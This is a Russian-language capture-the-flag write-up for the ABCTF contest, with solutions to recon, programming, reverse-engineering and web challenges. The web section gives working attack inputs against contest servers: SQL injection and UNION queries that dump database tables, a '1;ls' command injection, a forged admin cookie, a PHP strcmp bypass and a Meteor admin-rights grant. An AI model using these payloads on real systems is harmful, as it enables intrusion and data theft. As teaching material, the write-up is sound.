Image

Category:

Гайд по триатлону: CTF, часть 2/2

Это продолжение поста об ABCTF.


Reconaissance


Эта категория требует эрудиции и хорошего гугл-фу, чтобы найти следы пользователя, разбросанные организаторами по интернету.


Drive Home - 50 (Reconaissance)
We found this link scribbled on a piece of paper: document/1_TxYCrk5vIMlUjiB1OioXmR7b-Uq_a9aPIh9JyYlPNs/edit?usp=sharing. It is broken but we need you to fix it!

Классическая задача на эрудицию. Едва ли можно нагуглить какую-то часть этой строки, пока не появятся разборы, но опыт подскажет, что она очень похожа на URL гуглодока. Смотрим, как устроены его URL, подставляем вместо него то, что предлагают, и в документе https://docs.google.com/document/d/1_TxYCrk5vIMlUjiB1OioXmR7b-Uq_a9aPIh9JyYlPNs/edit?usp=sharing находим флаг abctf{g00gle_driv3_1s_my_f4v0r1t3}.


Archive Me - 50 (Reconaissance)
If you could look at our website from a while ago im sure the flag would be there...

Еще одна задача на эрудицию. Прошлое уходит безвозвратно, страницы пропадают из интернета без следа, но иногда след все же получается отыскать в веб-архиве, некоммерческом проекте, который бэкапит значительную часть веб-страниц интернета. Ищем в нем адрес сайта, находим два снапшота, и на главной странице во втором написан флаг ABCTF{Archives_are_useful!}.


Always So Itchy - 100 (Reconaissance)
Dialga1234 - Johnny Boy

Гуглим первое слово, находим его профиль на scratch.mit.edu. Scratch это учебный язык программирования, в котором программы не пишутся, а склеиваются из лего-подобных блоков. Последний проект это какая-то консолька, которая что-то спрашивает. Рядом кнопочка редактора исходников на Scratch, сделанный на Flash, немного скроллим и видим глубоко в условиях флаг ABCTF{DoYouThinkISpentTooMuchTimeOnThis}.

Image


Liorogamerdvd - 300 (Reconaissance)
Hint: HINT 1: Use common sense. Does doxxing and hacking private accounts and information seem like the intention?
HINT 2: Chirp Chirp.

Эту задачу мы не осилили.



Programming


Программирование, чаще всего алгоритмическое и эзотерическое. Иногда вместо Python для быстродействия лучше брать C++.


TGIF - 30 (Programming)
Friday is the best day of the week, and so I really want to know how many Fridays there are in this file. But, with a twist. I want to know how many Fridays there are one year later than each date.
Hint: For example, if you got November 21, 2001, I want to know if November 21, 2002 is a Friday. Also, the answer is in the format ABCTF{}

Смешно, но в этой задаче ошиблись сами организаторы. Впрочем, потом исправились. Простой скрипт на Python

result = 0
for line in file_get('date.txt').splitlines():
    d = datetime.strptime(line, '%B %d, %Y')
    try:
        d = datetime.timetuple(d)
        d2 = datetime(d.tm_year + 1, d.tm_mon, d.tm_mday)
        result += d2.isoweekday() == 5
    except:
        pass
print result

отвечает на вопрос числом 194. Флаг, соответственно, ABCTF{194}. Блок try нужен, потому что одна из дат была 29 февраля. Но как ни прибавляй к ней год, пятницы все равно не получалось.

udpn: вот этот момент, когда ты вводишь ABCTF{on3_hundr3d_nin3ty_four}
udpn: и получаешь ONE OF YOUR ROOMMATES HAVE ALREADY TRIED THAT SOLUTION



Slime Season 3 - 60 (Programming)
I only pay in coins because I'm hipster, but I forgot to bring my nickels today! But I really want to buy this elite gaming computer. What's the smallest amount of coins you need to make $1,827.43 using quarters, dimes, and pennies.
Hint: Memoization?

Самая сложная часть в этой задаче на ДП — найти в словаре, что quarters это 25 центов, dimes — 10, а pennies — 1.

UP = 182743
dp = zeros((UP + 1,), dtype=int)
for i in range(10):
    dp[i] = i
for i in range(10, UP + 1):
    if i >= 25:
        dp[i] = min([dp[i - 25] + 1, dp[i - 10] + 1, dp[i - 1] + 1])
    else:
        dp[i] = min([dp[i - 10] + 1, dp[i - 1] + 1])
print dp[UP]

Ответ 7315.


RacecaR - 100 (Programming)
Aren't Palindromes cool? I certainly think so, which is why I want you to find the longest palindrome in this file.
Hint: Rchard Hendricks wrote an algorithm using one way to solve this problem

По ссылке гист с 10 тысячами 20-символьных строк. Даже простейший квадратичный алгоритм

best_len = 0
for line in file_get('palindrome.txt').splitlines():
    for i in range(len(line)):
        for j in range(2, len(line) - i + 1):
            s = line[i : i + j]
            rs = ''.join(list(reversed(s)))
            if s == rs and j >= best_len:
                print 'palindrome', j, s
                best_len = j

быстро выдает, что среди подстрок встречаются два палиндрома длины 7. Один из них подходит, флаг ABCTF{DbrMrbD}.


QSet 1 - 100 (Programming)
I created my own programming language and wrote an interpreter for it! Here it is. Can you create a program to multiply 2 inputs? nc 107.170.122.6 7771
Hint: Here's a program to add 2 inputs.
o0/i0,o0/i1

Для начала отмечу, что nc это популярная утилита netcat, аналог telnet, у которой есть порт под Windows. После написания задачи ее можно было сдать просто исполнив команду

nc 107.170.122.6 7771<task.txt

Это самый гнусный эзотерический язык, с которым я когда-либо сталкивался, а я повидал их немало. Возможно, Imagecommon_racoon скажет мне, как он называется. Программа на этом языке состоит из команд, разделенных запятыми. Команда содержит левый и правый мультисет ключей через пробел, разделенные слэшем. На каждом шаге (которых до 100 тысяч) интерпретатор ищет первую команду, такую, что в текущее состояние программы (тоже мультисет) входит мультисет справа. И заменяет его на мультисет слева. Вход выглядит как мультисет с нужным числом ключей i0, i1 и т.д. — он и становится начальным состоянием программы. Конечное состояние программы должно содержать нужное число ключей o0 и все. Чем-то это похоже на нормальные алгорифмы Маркова, но гораздо омерзительнее.

Я немного пропатчил интерпретатор, чтобы он воспринимал более удобный для написания диалект вида

i0 -> o0
#i1 -> o0


где лево и право обменялись местами, а # выводит состояние при каждом исполнении этой строки.

Моя реализация умножения:

z yy -> z i1
i0 i1 z -> i0 yy o0
i0 i1 -> i0 yy o0
i0 -> z
z ->
i1 ->


Сначала исполняется третья строка, которая перегоняет все i1 в yy, одновременно добавляя столько же o0. Когда i1 закончатся, сработает четвертая строка, которая добавит z, убрав один i0. Этот z служит флагом, который используется, чтобы последующим исполнением первой строчки перегнать yy обратно в i1. Затем он просто стирается исполнением второй строчки, в остальном идентичной третьей, основной рабочей. Когда o0 вычислено и i0 исчезли, можно стереть z и i1. Сервер принимал решения не длиннее 100 байт, считая завершающий перевод строки, и если все верно, выдавал флаг ABCTF{es0teric_l4ngs_r_fun}.


The Big Kahuna - 120 (Programming)
What's the smallest amount of steps (additions, deletions, and replacing) it would take to make the string "massivegargantuanhugeepicginormous" into "tinysmallmicroscopicinvisible"? Don't guess too many times or we will disqualify you. Remember to wrap your answer in abctf{}.
Hint: Dynamic programming. It's a thing that exists. Example: "Cat" to "That" would take 2 steps, as you replace the "C" with an "h" an add a "T" to the front.

Авторы полагали, что 120 баллов за сложное динамическое программирование будет в самый раз. Но эрудированный глаз легко назовет требуемую величину расстоянием Левенштейна и посчитает ее в 2 строчки.

import Levenshtein
Levenshtein.distance('massivegargantuanhugeepicginormous', 'tinysmallmicroscopicinvisible')

Ответ 28.


Obfuscated 1 - 130 (Programming)
Get this to return true! The grader runs the same script as you got! Here it is. There is no need to submit abctf{} wrapping
Hint: Just work through it slowly.

Замена имен переменных на юникодные символы, 3 пробела вместо 4, широкое использование бинарных и восьмеричных литералов, получение подстрок из имен встроенных типов, zero width space, лишние списки и их преобразования — авторы знатно поиздевались над своим исходником. Но полученная программа проверяет не так много всего, поэтому, например, подходит U_U0U567_90.


QSet 2 - 150 (Programming)
Time for something harder.. write a program to calculate the square root of an input. nc 107.170.122.6 7772

Приконнектившись, обнаруживаем, что от нас хотят floor(sqrt(x)). Будем просто перебирать все квадраты по очереди, прибавляя к ответу 1, а к квадрату очередное нечетное число.

f0 i0 -> f0 x
i0 -> f0 x n m
f0 -> f1

f1 x m -> f1 M
f1 x -> f2 x
f1 -> f6

f6 m n -> f3
f6 -> f3
f3 m -> f3
f3 x -> f3
f3 M -> f3
f3 n -> f3 o0
f3 ->

f2 n -> f4 n n
f4 M -> f4 m
f4 m -> f5 m m m
f5 -> f1


Инициализация. Первой исполняется вторая строчка первой группы. Она создает флаг f0 и инициализирует переменные. Здесь и далее я использовал прием, сильно упрощающий программирование — каждая строка, кроме первой исполняющейся и использующей вход, защищена от исполнения флагом. Оставляя флаг прежним, можно сделать аналог цикла, меняя его — создать аналог условного перехода. Первый блок перегоняет все i0 в x, n=1 (ответ), m=1 (вычитаемое нечетное число), после чего идет переход на второй блок, защищенный флагом f1.

Тело цикла и проверка выхода. Второй блок делает x -= m, но при этом теряется и m. Чтобы этого не происходило, он параллельно сохраняется в M. Если m кончились, а x еще нет, переходим в f2; если x кончился, переходим в f6.

Новая итерация цикла. Если мы перешли в f2, в четвертый блок, значит, цикл не кончился. Сделаем n += 1, перегоним M в m, сделаем m += 2 и перейдем снова в тело цикла, в f1.

Выход. Если мы перешли в f6, то x кончился. А вот если не кончился m, то один n лишний. Оставшиеся строчки удаляют лишние переменные, перегоняют ответ n в выход o0, и удаляют уже ненужный флаг. А сервер отдавал флаг ABCTF{why_w0uld_any1_do_th1s?}.


QSet 3 - 200 (Programming)
Calculate an RSA private key 107.170.122.6 7773

Числа маленькие, так что реализация расширенного алгоритма Евклида подходит. Даже не стану комментировать это безумие:

start e -> start e2 copye
start pq -> start pq2 copypq

start -> f0
f0 e2 pq2 -> f0

f0 e2 e2 -> f1 e2 e2
f0 e2 -> f2
f0 -> f3
f1 copypq -> f1 pq

f1 -> start
f3 copye -> f3 e

f3 -> start d

f2 d -> f2 o0
f2 copypq -> f2
f2 copye -> f2
f2 q -> f2
f2 ->


f_0 i0 -> f_0 p
f_0 i1 -> f_0 q
f_0 i2 -> f_0 e
f_0 -> f_1
f_1 p q -> f_2
f_2 z qq -> f_2 z q
f_2 z -> f_2
f_2 p q -> f_2 p qq pq
f_2 p -> f_2 z
f_2 -> start d
i0 -> f_0 i0


При сдаче на сервер оказывается, что код исполняется слишком много тактов. Для оптимизации все горячие строки заменяем на такие же, но которые пакетно выполняют операции с множителем 2 до 32 операций за раз, так находим трейдофф между принимаемым размером кода (который сжимаем до однобуквенных идентификаторов) и числом шагов. Флаг ABCTF{this_1s_g3tting_ridicul0s}.



Web Exploitation


В категории предлагается взломать тестовый сайт, содержащий какую-нибудь из родовых уязвимостей веба, например, SQL injection, command injection, XSS. Инструменты: Chrome DevTools, Python, SQL-сервер и клиент (например, MySQL и HeidiSQL) для локального тестирования инъекций.


Elemental - 10 (Web Exploitation)
Just put in the password for the flag! Link

По ссылке на специально поднятый веб-сервер организаторов находится страничка с немного хипстерским дизайном, в котором выдержаны и остальные задания категории. На ней одно поле для ввода пароля и кнопка отправки. Разумеется, участник никакого пароля не знает, но все равно должен получить доступ. Обычно изучение заданий этой категории начинается с просмотра доступного кода, HTML, JavaScript, устройства сетевого обмена, чтобы выяснить, на клиенте или на сервере проверяется введенная информация, куда она отправляется и в каком виде, что приходит в ответ. В этом случае изучение заканчивается на первом же пункте. В теле странички написан комментарий

<!-- 7xfsnj65gsklsjsdkj -->

который и является искомым паролем. Отправляем его и наблюдаем, как зловредный скрипт скрывает полученный флаг со страницы. Его можно забанить блокировщиком рекламы, а можно просто скопировать ключ вновь из исходного кода страницы. Флаг ABCTF{insp3ct3d_dat_3l3m3nt}.


The Flash - 35 (Web Exploitation)
Can you somehow get the flag from this website?

На прежнем месте в исходном коде страницы обнаруживаем <!-- c3RvcHRoYXRqcw== -->. Это уже не пароль, но == в конце однозначно дают нам понять, что это BASE-64, самый распространенный метод кодирования бинарных данных в текстовые символы. Чтобы его декодировать, не обязательно писать программу, для него даже есть плагин к Notepad++, MIME Tools. Результат декодирования куда больше похож на пароль — stopthatjs, но, введя его, мы тут же узнаем, на что он намекает. Зловредный скрипт, если его не заблокировали в самом первом задании, не просто скроет флаг, но и заменит его на другую, ехидную строку. Флаг ABCTF{no(d3)_js_is_s3cur3_dasjkhadbkjfbjfdjbfsdajfasdl}.


Chocolate - 50 (Web Exploitation)
If you could become admin you would get a flag. Link

Веб-страница сразу заявляет "You're not an admin. Please leave this site." и просмотр ее исходников не помогает понять, как она это определила. Придется продолжить исследование и перейти к исследованию сетевого обмена на вкладку Network в хроме. Видим, что при первом же запросе сервер выставляет куки полем HTTP-ответа Set-Cookie. Их удобнее просматривать на вкладке Resources, выбрав в дереве Cookies > имя сайта. Действительно, установлен ключ cookie=e2FkbWluOmZhbHNlfQ%3D%3D.

Неоднократно появлявшиеся в адресной строке строки вида %3D%20 — это URL encoding, самый популярный метод кодирования символов, которым не место в URL: они заменяются на % и hex-код символа. Упомянутый выше плагин MIME Tools умеет декодировать и его. Впрочем, этот простой пример легко декодируется и устно, 3D это код символа "=": e2FkbWluOmZhbHNlfQ==. А ведь это наш старый знакомый BASE64. Внутри него JSON: {admin:false}.

Похоже, сайт определяет, посетил его админ или нет, просто читая ключ admin из JSON, закодированного в BASE64 и затем в URL encoding, и хранящегося в куках. Но какие куки передавать на сервер, решает браузер. А его поведение мы можем изменить, например, исполнив на вкладке Console код на JavaScript:

document.cookie = 'coookie=' + encodeURIComponent(btoa('{admin:true}'))

Обновив страницу, мы отправим серверу куки с подделанными данными, и он отдаст нам флаг ABCTF{don't_trust_th3_coooki3}. Небольшой подвох в задаче состоит в том, что в названии ключа coookie 3 буквы o, а не 2.


L33t H4xx0r - 70 (Web Exploitation)
If you could bypass the login you could get the flag. Link
Hint: Some ways of comparing two strings are very insecure.

В исходнике страницы видим <!-- source at source.txt -->, открываем http://yrmyzscnvh.abctf.xyz/web6/source.txt и замечаем, что введенный пароль сравнивается с правильным строкой

if(strcmp($PASSWORD, $_GET['password']) == 0){

Оказывается, strcmp возвращает 0 не только, если строки-аргументы совпадают, но и если один из аргументов вообще не строка (NULL == 0). Конечно, это приводит к варнингам, но по дефолту PHP продолжает исполнение. Как мы можем передать в $_GET не строку? Например, можно передать массив, используя URL вида http://yrmyzscnvh.abctf.xyz/web6/?password[]=1, что даст нам флаг abctf{always_know_whats_going_on}. Используйте === для сравнения строк в PHP.


Get 'Em All - 80 (Web Exploitation)
I think one of the users data fields holds a flag. If only you could find the username. Link

В исходнике страницы прописано <!-- Try some names like Hiroki, Noah, Luke -->, но из них только Luke возвращает

Name: Luke
Data: I made this problem.

Сперва я скачал список английских имен из Интернета и стал брутфорсить скриптом, что дало мне еще 3 имени, Eric, Sam и Alec. Но думать следовало в другом направлении. Как мог бы быть устроен серверный скрипт, хранящий и выдающий данные по введенному имени? Например, он мог бы делать SQL-запрос к БД вида select name, data from tbl where name='$_POST["input"]' и выводить все строки ответа, не фильтруя символы в запросе.

Сделаем запрос "' OR 1 -- ", чтобы после подстановки в SQL получалось select name, data from tbl where name='' OR 1 -- '. Здесь -- начинает комментарий, обрезая остаток запроса, а OR 1 меняет условие выборки так, что в выдачу попадают все строки. SQL injection, большая беда интернета, успешно проходит, показывая все 8 записей в таблице, и становится ясно, почему брутфорс не помог бы. Верный флаг находится в записи

Name: fl4g__giv3r
Data: ABCTF{th4t_is_why_you_n33d_to_sanitiz3_inputs}


Safety First - 95 (Web Exploitation)
There is a way to exploit the calculator here.

По ссылке простой калькулятор, который добавляет в текстовое поле цифры и символы операций на кнопок через пробелы, а по нажатию на = отправляет на сервер полученную строку методом POST. Страница обновляется и сверху пишется ответ. Я написал небольшую обвязку:

def test(req):
    resp = requests.post('http://yrmyzscnvh.abctf.xyz/web7/', data={'expression': req}).content
    if resp.endswith(std_answer):
        print resp[:-len(std_answer)].strip()
    else:
        print resp

и принялся экспериментировать. Сервер понимал и более сложные выражения, но на многие, вполне нормальные для eval, загадочно молчал, что заставило предположить, что выражение вычисляется не с помощью eval. А, например, с помощью вызова программы в шелле! И 1;ls, отправленный на сервер, вернул содержимое директории, в котором несложно заметить флаг:

1
abctf{watch_0ut_f0r_syst3m}
calc.js
index.php
main.css
main.css



Meteor Smash - 100 (Web Exploitation)
Dig around in this blog and I'm sure you can find a flag.
Hint: Someone told me my admin checks are insecure.

В исходнике app.js обнаруживаем закомментированное TODO с кодом

if(user.profile && user.profile.admin) {

а в сетевом обмене через websocket ключ, значение которого не отображается на странице:

"meta":"P.S. I recently got hidden posts working. Only admins can see them."

В Meteor переменные расшарены и синхронизируются между клиентом и сервером. Оказывается, чтобы клиент не мог менять какие-то переменные на сервере, это надо явно запрещать. И новички часто это забывают. Создадим аккаунт, залогинимся и исполним в консоли

Meteor.users.update(Meteor.userId(), {$set: {'profile.admin': true}});

Теперь просто обновим страницу и увидим секретный пост с флагом ABCTF{r3lly_s3cure_Auth0riz4t1on}.


Reunion - 150 (Web Exploitation)
The union command could maybe be used to your advantage here!

Ссылка ведет на страницу, которая по числовому идентификатору показывает имя, породу и цвет собаки. Можно предположить, что внутри она использует запрос вида select * from tbl where id=$_GET['id']. Бесстыжая подсказка сообщает нам, что в этом задании будет практика по применению union для SQL injection. Оный позволяет добавить в ответ строки, полученные еще каким-нибудь запросом, было бы то же число колонок.

Ищем это число колонок и находим, что такой запрос исполняется без ошибок — колонок 4, порядок: порода, имя, цвет, ид.

0 union select 1,2,3,4

Прежде всего нас интересует, какие здесь есть базы данных, таблицы и колонки в них. Все эти данные в mysql можно получить из БД information_schema:

0 union select table_schema, table_name, group_concat(column_name), 1 from information_schema.columns group by table_schema, table_name

В получившейся простыне видно, что кроме таблиц в information_schema, на сервере есть еще БД webeight с двумя таблицами:

Name: w0w_y0u_f0und_m3
Breed: webeight
Color: f0und_m3
Name: webeight
Breed: webeight
Color: breed,name,color,id


0 union select * from webeight

покажет нам, что таблица webeight нас не интересует, в ней всего 3 неподозрительные собаки. А вот вторая, видимо, и есть наша цель.

0 union select f0und_m3, 2, 3, 4 from w0w_y0u_f0und_m3

и мы узнаем, что в этой таблице единственная запись — флаг abctf{uni0n_1s_4_gr34t_c0mm4nd}.


Inj3ction - 170 (Web Exploitation)
You can do it. Link
Hint: I'm pretty sure there isn't even an account that is an admin.

В исходнике страницы видим <!-- source at login.txt -->. Код на PHP делает нефильтрованный запрос SELECT * FROM users WHERE username='$username', проверяет результат на длину 1, поля password и is_admin. Подбираем число полей и инъекция ' UNION SELECT 1, 1, 1, 1 -- с паролем 1 приносит флаг ABCTF{wait?_there's_more?}.


AudioEdit - 200 (Web Exploitation)
I made a cool site to edit audio files. Can you exploit it?

Замечаем, что при заливке нового mp3 файла исполнитель и название трека приходят с сервера уже в HTML. Значит, они извлекаются из id3 ещё на сервере. Текст задания что-то намекает на базу данных, и возникает мысль, что, возможно, id3 кешируются в БД. Тестовая заливка mp3 с ' + 1 + ' в поле artist возвращает нам 1, то есть мы можем провести SQL инъекцию. Пишем скрипт на Python, упрощающий этот процесс, поскольку каждый раз редактировать id3 вручную и заливать на сервер неудобно.

import eyed3
import requests
import os
import lxml.html as html
import io

filePath = u"1.mp3"

audiofile = eyed3.load(filePath, tag_version=eyed3.id3.ID3_V2_4)
audiofile.initTag()
audiofile.tag.artist = u"..."
audiofile.tag.title = u"DEFG"

audiofile.tag.save()

targetUrl = "http://107.170.122.6/audioedit/submit_upload.php"

with open(filePath, "rb") as fp:
    files = {'audio': (os.path.basename(filePath), fp, 'audio/mp3')}
    r = requests.post(targetUrl, files=files)
   
print r.text[:100]
a = html.parse(io.StringIO(r.text))
elems = a.xpath('//h5/small')

map(lambda x: x.text, elems)

Теперь подставляем в title наши запросы, получая информацию о схемах, таблицах, колонках и содержимом таблиц.

u" dfgdf', (SELECT GROUP_CONCAT(SCHEMA_NAME) FROM information_schema.SCHEMATA AS u))-- -"
> ['R dfgdf', 'information_schema,audioedit']
u" dfgdf', (SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA='audioedit' AS u))-- -"
> ['n dfgdf', 'audioedit']
u" dfgdfgd', (SELECT GROUP_CONCAT(COLUMN_NAME) FROM information_schema.COLUMNS AS u WHERE TABLE_NAME='audioedit'))-- -"
> ['p dfgdfgd', 'id,file,author,title']
u" ', (SELECT GROUP_CONCAT(file) FROM audioedit AS u))-- -"
# > ['9 ', 'supersecretflagf1le.mp3,2fabcdf2dd0072a4ffe377d1556f2a03985dad98.mp3,9807d45e9d8416dcdfa55279664f23eda00e6560.mp3,cff4f601304d3b']


А вот и наш пациент. Выкачиваем этот файл с сервера, подсмотрев в Network адрес, откуда клиентская часть сайта обычно качает mp3. В тексте файла флага нет, похоже на настоящую аудиозапись. Звучит она странно. Скорее всего, флаг каким-то образом закодирован в самом звуке. Чтобы проверить эту догадку, неплохо бы посмотреть на преобразование Фурье. Нужного софта в виде Winamp или Audacity под рукой нет. Вспоминаем, что на сайте есть три визуализации. Третья как раз проводит преобразование Фурье. Флаг в ней записан попросту текстом. Переписываем ABCTF{m3t4_inj3cti00n} и сдаём.

Image


Impenetrable Fortress - 200 (Web Exploitation)
Some times an application is secure and you have to find another way around. Log in with admin credentials and you will receive a flag. Try it here!
Hint: Gotta go around.

Эту задачу мы не осилили.



Reverse Engineering


Разбор запутанного, обфусцированного, эзотерического или бинарного кода, с целью выяснить детали или добиться от него желаемого поведения. В сложных CTF для решения задач этой категории не обойтись без IDA.


Java Madness - 50 (Reverse Engineering)
Hey if you can get this to pass some tests you could probably have the flag.

На «взрослых» соревнованиях под реверсингом подразумевается анализ бинарных исполнимых файлов. Но на мой взгляд, вариант с запутанным кодом на каком-нибудь эзотерическом языке, как здесь, тоже неплох. В этой задаче код на Java склеивает 5 аргументов программы в строку, обращает ее, и если результат равен "abctf is the coolest ctf", выводит склеенную строку в качестве флага. Таким образом, флаг ABCTF{ftc tselooc eht si ftcba}.


JS Pls - 80 (Reverse Engineering)
Can you figure out the flag from this Have fun ;)

По ссылке находится здоровенный код вида eval(new Buffer('cHJv...','base64').toString()); на JavaScript, который исполняет код, закодированный BASE-64. Первый уровень защиы снимается легко. На втором мы видим, что программа на node.js просит нас ввести флаг и проверяет его жутким кодом вида

+[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]]

В JavaScript возможны такие жуткие конструкции за счет очень легкого отношения языка к типизации. Так, +[] это унарный плюс, применяемый к пустому массиву [], он возвращает 0. !+[] обращает этот 0 булевым отрицанием, превращая в true. А true унарным плюсом превращается в 1. Второе слагаемое [!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]] подлиннее и дает тем же способом, суммируя единицы, [9]. [1] + [9], разумеется, равно "19". Ну и +["19"] равно просто 19. Таким образом, первая осмысленная строка проверочного кода смотрит, чтобы длина флага была 19. Идея доведена до совершенства здесь.

К счастью, считать это глазками не обязательно, можно исполнять эти куски кода в консоли хрома и вставлять обратно. Такой деобфускацией мы получим 7 условий, проверяющих разное про подстроки и коды символов введенной строки. Все их удовлетворить не очень сложно, флаг ABCTF{node_is_w4Ck}.


Frozen Recursion - 250 (Reverse Engineering)
I finally learned recursion! Am I doing it right? Here it is.

По ссылке 54-метровый ELF, внутри которого значительную часть составляет что-то, закодированное в Base64. Декодируем его и обнаруживаем то же самое. Четыре раза раскрываем матрешку

elf = file_get('abctf 2016/recursive_python')
while True:
    m = re.match(r'^(.*)(f0VMRgIB(?:[0-9a-zA-Z\/+=]{4})*)(.*)$', elf, re.S)
    if not m:
        break
    elf = m.groups()[1].decode('base64')
    print len(elf)

Полученный 5-метровый ELF в main просто делает

mov     cs:PyImport_FrozenModules, offset _PyImport_FrozenModules
jmp     Py_FrozenMain

то есть исполняет группу модулей, описанных структурой вида

struct _frozen {
    char *name;
    unsigned char *code;
    int size;
};

Я подключил тяжелую артиллерию и распечатал декомпилят всех этих модулей

from elftools.elf.elffile import ELFFile
elff = ELFFile(BytesIO(elf))

import uncompyle2
def pyc_to_py(pyc):
    pyc = '\x03\xF3\x0D\x0A' + pack('<I', int(time.time())) + data
    io = BytesIO()
    file_put('recursive_elf.pyc', pyc)
    uncompyle2.uncompyle_file('recursive_elf.pyc', io)
    return io.getvalue()

pos = next(elff.address_offsets(0xA88A40))
for i in range(5):
    addr = pos + i * 24
    name, code, size = unpack('QQQ', elf[addr : addr + 24])
    print name, code, size
    if not size:
        break
    pos2 = next(elff.address_offsets(name))
    print 'Module:', elf[pos2:].split('\0', 1)[0]
    pos3 = next(elff.address_offsets(code))
    data = elf[pos3 : pos3 + size]
    print
    print pyc_to_py(data)
    print

Оказалось, что все эти модули просто ложный след с кодом

print 'Hello world...'

Помог поиск по подстроке в 5-метровом ELF, флаг flag{python_taken_2_far}.


Binary Exploitation



Hide And Seek - 50 (Binary Exploitation)
There is a flag hidden somewhere in this binary. Good luck!

По ссылке файл haha-1 с заголовком CF FA ED FE, который выдает в нем Mach-O binary, исполняемый формат в MacOS. Один из нас запустил этот файл и он выдал "where could the key be?". Открываем дизассемблер и видим условие, которое обходит вызов функции, выводящей флаг:

jnz     loc_100000F1A
call    _totallyNotTheFlag
loc_100000F1A:
lea     rdi, aWhereCouldTheK ; "where could the key be?n"
mov     al, 0
call    _printf

Если заменить эту условную инструкцию на инструкции nop, то есть пропатчить шесть ее байтов 0f 85 05 00 00 00 по смещению F0F байтами 90 90 90 90 90 90, то переход осуществляться не будет, функция вызовется и напечатает флаг CTF{w0w_b1NarY_1s_h@rd}.